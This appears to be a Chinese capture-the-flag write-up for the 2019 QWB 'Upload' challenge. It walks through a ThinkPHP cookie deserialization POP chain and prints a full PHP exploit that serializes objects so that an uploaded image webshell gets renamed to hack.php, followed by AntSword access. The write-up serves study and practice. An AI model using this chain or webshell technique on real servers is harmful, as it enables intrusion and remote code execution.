程式碼審計[三] [強網杯 2019]Upload -圖片馬反序列化重新命名

eth258發表於2024-10-18

程式碼審計

[強網杯 2019]Upload

原始碼下載www.tar.gz

原始碼一大坨
參考[強網杯2019]upload buuoj - Throokie - 部落格園 (cnblogs.com)
這寫的很全面

用phpstorm可以看到有兩處下斷點的地方,屬於是提示了。分別是

application\web\controller\Profile.php

image-20241017181158780

application\web\controller\index.php,可以發現這裡存在反序列化操作,接收的引數是base64解碼後的cookie值

image-20241017181443336

這裡先講一下thinkphpd的一些特性

在 ThinkPHP 中,URL 通常遵循以下格式:

/模組/控制器/方法

假設預設的模組是 web,那麼訪問以下 URL:

/index

相當於請求了:

/web/index/index

即:

  • 模組web
  • 控制器Index
  • 方法index()

路由解析過程

  • 當你訪問

    /index
    

    時,框架會按照 URL 解析規則:

    • 解析到控制器是 app\web\controller\Index
    • 呼叫該控制器中的 index() 方法。

因此,訪問 /index 會觸發 Index 控制器的 index() 方法。

解題

兩個提示處看一下,一個是接收cookie的序列化值,一個是register.php中解構函式。

同時發現profile.php中有可用的魔術方法__get()__call()

整個流程是透過反序列化,觸發update_img方法,並且繞過其中的部分判斷,最終到達下面這段函式,來修改已上傳的圖片馬名字

        if($this->ext) {
            if(getimagesize($this->filename_tmp)) {
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }

pop鏈

首先從解構函式出發,觸發進Profile()類中

    public function __destruct()
    {
    	//$this->registed=0
        if(!$this->registed){
        // $this->checker=Profile()
            $this->checker->index();
        }
    }

由於Profile->index() 不存在,觸發了 __call 方法,$this->{$name}$this->index又剛好觸發__get,但是返回值是except[$name]數值的值,那就需要一個鍵名為$name鍵值為upload_img的except陣列。這樣子 $this->{$this->{$name}}($arguments);就會成為upload_img($arguments)

$this->{$this->{$name}}($arguments):這裡是雙重的動態呼叫,首先 $this->{$name} 獲取屬性的值(假設是一個方法名),然後呼叫該方法並傳入 $arguments 引數。

    public function __get($name)
    {
            //$this->except[index]
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        //name=index
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

其他問題

pop鏈子已經構造好了,但是還是需要處理別的來東西來讓觸發成功執行

  public function upload_img(){
      //$this->checker=0
        if($this->checker){
            if(!$this->checker->login_check()){
                $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                $this->redirect($curr_url,302);
                exit();
            }
        }

        if(!empty($_FILES)){
            $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
            $this->filename=md5($_FILES['upload_file']['name']).".png";
            $this->ext_check();
        }
      //ext=1,進入此處進行重新命名操作
        if($this->ext) {
            //filename_tmp=你圖片馬上傳的路徑
            if(getimagesize($this->filename_tmp)) {
                //filename=重新命名後的檔名字
                @copy($this->filename_tmp, $this->filename);
                @unlink($this->filename_tmp);
                $this->img="../upload/$this->upload_menu/$this->filename";
                $this->update_img();
            }else{
                $this->error('Forbidden type!', url('../index'));
            }
        }else{
            $this->error('Unknow file type!', url('../index'));
        }
    }

最終exp

<?php
namespace app\web\controller;

class Register{
    public $checker;
    public $registed =0;
    }
class Profile{
    public $checker =0 ;
    public $filename_tmp="./upload/065831472858248584ff4993846d5065/3c2a5c7f9c572389f5db2a27f9651436.png";
	public $upload_menu;
    public $filename="./upload/hack.php";
    public $ext=1;
	public $img;
    public $except=array("index"=>"upload_img");
}

$a = new Register();
$a->checker = new Profile();

echo base64_encode(serialize($a));

在home下重新整理攔包,修改cookie為反序列化的那串base64,然後瘋狂重新整理幾次,就能看到upload/hack.php了,由於瀏覽器編碼的原因可能你看不到馬在哪,蟻劍連線即可

後話

這cookie卡我好久,上傳後不知道是不是路由快取還沒更新的原因,一直都顯示upload目錄404,最終解決辦法是a瀏覽器掛著upload目錄,b瀏覽器執行傳cookie操作,這樣子才能看到東西

相關文章